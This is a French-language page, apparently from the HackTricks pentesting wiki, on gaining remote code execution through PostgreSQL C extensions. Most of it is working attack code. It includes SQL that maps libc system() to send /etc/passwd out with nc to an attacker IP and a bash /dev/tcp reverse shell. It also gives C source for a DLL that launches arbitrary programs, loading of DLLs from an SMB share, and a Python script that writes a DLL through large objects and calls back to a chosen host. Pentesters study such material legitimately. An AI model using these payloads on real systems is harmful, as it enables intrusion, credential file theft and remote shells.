Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
PostgreSQL a été développé avec l'extensibilité comme fonctionnalité principale, lui permettant d'intégrer sans problème des extensions comme s'il s'agissait de fonctionnalités intégrées. Ces extensions, essentiellement des bibliothèques écrites en C, enrichissent la base de données avec des fonctions, opérateurs ou types supplémentaires.
À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.
L'exécution de commandes système à partir de PostgreSQL 8.1 et des versions antérieures est un processus clairement documenté et simple. Il est possible d'utiliser ce : module Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Écrire un fichier binaire à partir de base64
Pour écrire un binaire dans un fichier dans postgres, vous pourriez avoir besoin d'utiliser base64, cela sera utile à cet effet:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Cependant, lorsque cela a été tenté sur des versions plus récentes, l'erreur suivante s'est affichée :
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Pour garantir qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h :
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Depuis la version 8.2 de PostgreSQL, le processus pour un attaquant d'exploiter le système a été rendu plus difficile. L'attaquant doit soit utiliser une bibliothèque déjà présente sur le système, soit télécharger une bibliothèque personnalisée. Cette bibliothèque personnalisée doit être compilée contre la version majeure compatible de PostgreSQL et doit inclure un "bloc magique" spécifique. Cette mesure augmente considérablement la difficulté d'exploiter les systèmes PostgreSQL, car elle nécessite une compréhension plus approfondie de l'architecture du système et de la compatibilité des versions.
Compiler la bibliothèque
Obtenez la version de PostgreSQL avec :
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Pour assurer la compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.
Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec :
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Vous pouvez trouver cette bibliothèque précompilée pour plusieurs versions différentes de PostgreSQL et même automatiser ce processus (si vous avez accès à PostgreSQL) avec:
RCE sous Windows
La DLL suivante prend en entrée le nom du binaire et le nombre de fois que vous souhaitez l'exécuter, puis l'exécute:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Vous pouvez trouver le DLL compilé dans ce zip :
Vous pouvez indiquer à ce DLL quel binaire exécuter et le nombre de fois de l'exécuter, dans cet exemple il exécutera calc.exe 2 fois :
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Dans ce lien, vous pouvez trouver ce reverse-shell :
Notez comment dans ce cas le code malveillant est à l'intérieur de la fonction DllMain. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, il suffit de charger le DLL pour exécuter le shell inversé:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE dans les dernières versions de PostgreSQL
Dans les dernières versions de PostgreSQL, des restrictions ont été imposées où le superutilisateur est interdit de charger des fichiers de bibliothèque partagée sauf à partir de répertoires spécifiques, tels que C:\Program Files\PostgreSQL\11\lib sur Windows ou /var/lib/postgresql/11/lib sur les systèmes *nix. Ces répertoires sont sécurisés contre les opérations d'écriture par les comptes NETWORK_SERVICE ou postgres.
Malgré ces restrictions, il est possible pour un superutilisateur de base de données authentifié d'écrire des fichiers binaires sur le système de fichiers en utilisant des "grands objets". Cette capacité s'étend à l'écriture dans le répertoire C:\Program Files\PostgreSQL\11\data, qui est essentiel pour les opérations de base de données telles que la mise à jour ou la création de tables.
Une vulnérabilité significative découle de la commande CREATE FUNCTION, qui autorise la traversée de répertoire dans le répertoire de données. Par conséquent, un attaquant authentifié pourrait exploiter cette traversée pour écrire un fichier de bibliothèque partagée dans le répertoire de données, puis le charger. Cette exploitation permet à l'attaquant d'exécuter du code arbitraire, réalisant ainsi une exécution de code natif sur le système.
Flux d'attaque
Tout d'abord, vous devez utiliser de grands objets pour télécharger le dll. Vous pouvez voir comment faire cela ici:
Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez le charger avec:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Notez que vous n'avez pas besoin d'ajouter l'extension .dll car la fonction create l'ajoutera.
Pour plus d'informations, lisez lapublication originale ici.
Dans cette publication, voici lecode utilisé pour générer l'extension postgres (pour apprendre comment compiler une extension postgres, lisez l'une des versions précédentes).
Sur la même page, cet exploit pour automatiser cette technique a été donné:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Travaillez-vous dans une entreprise de cybersécurité? Vous voulez voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!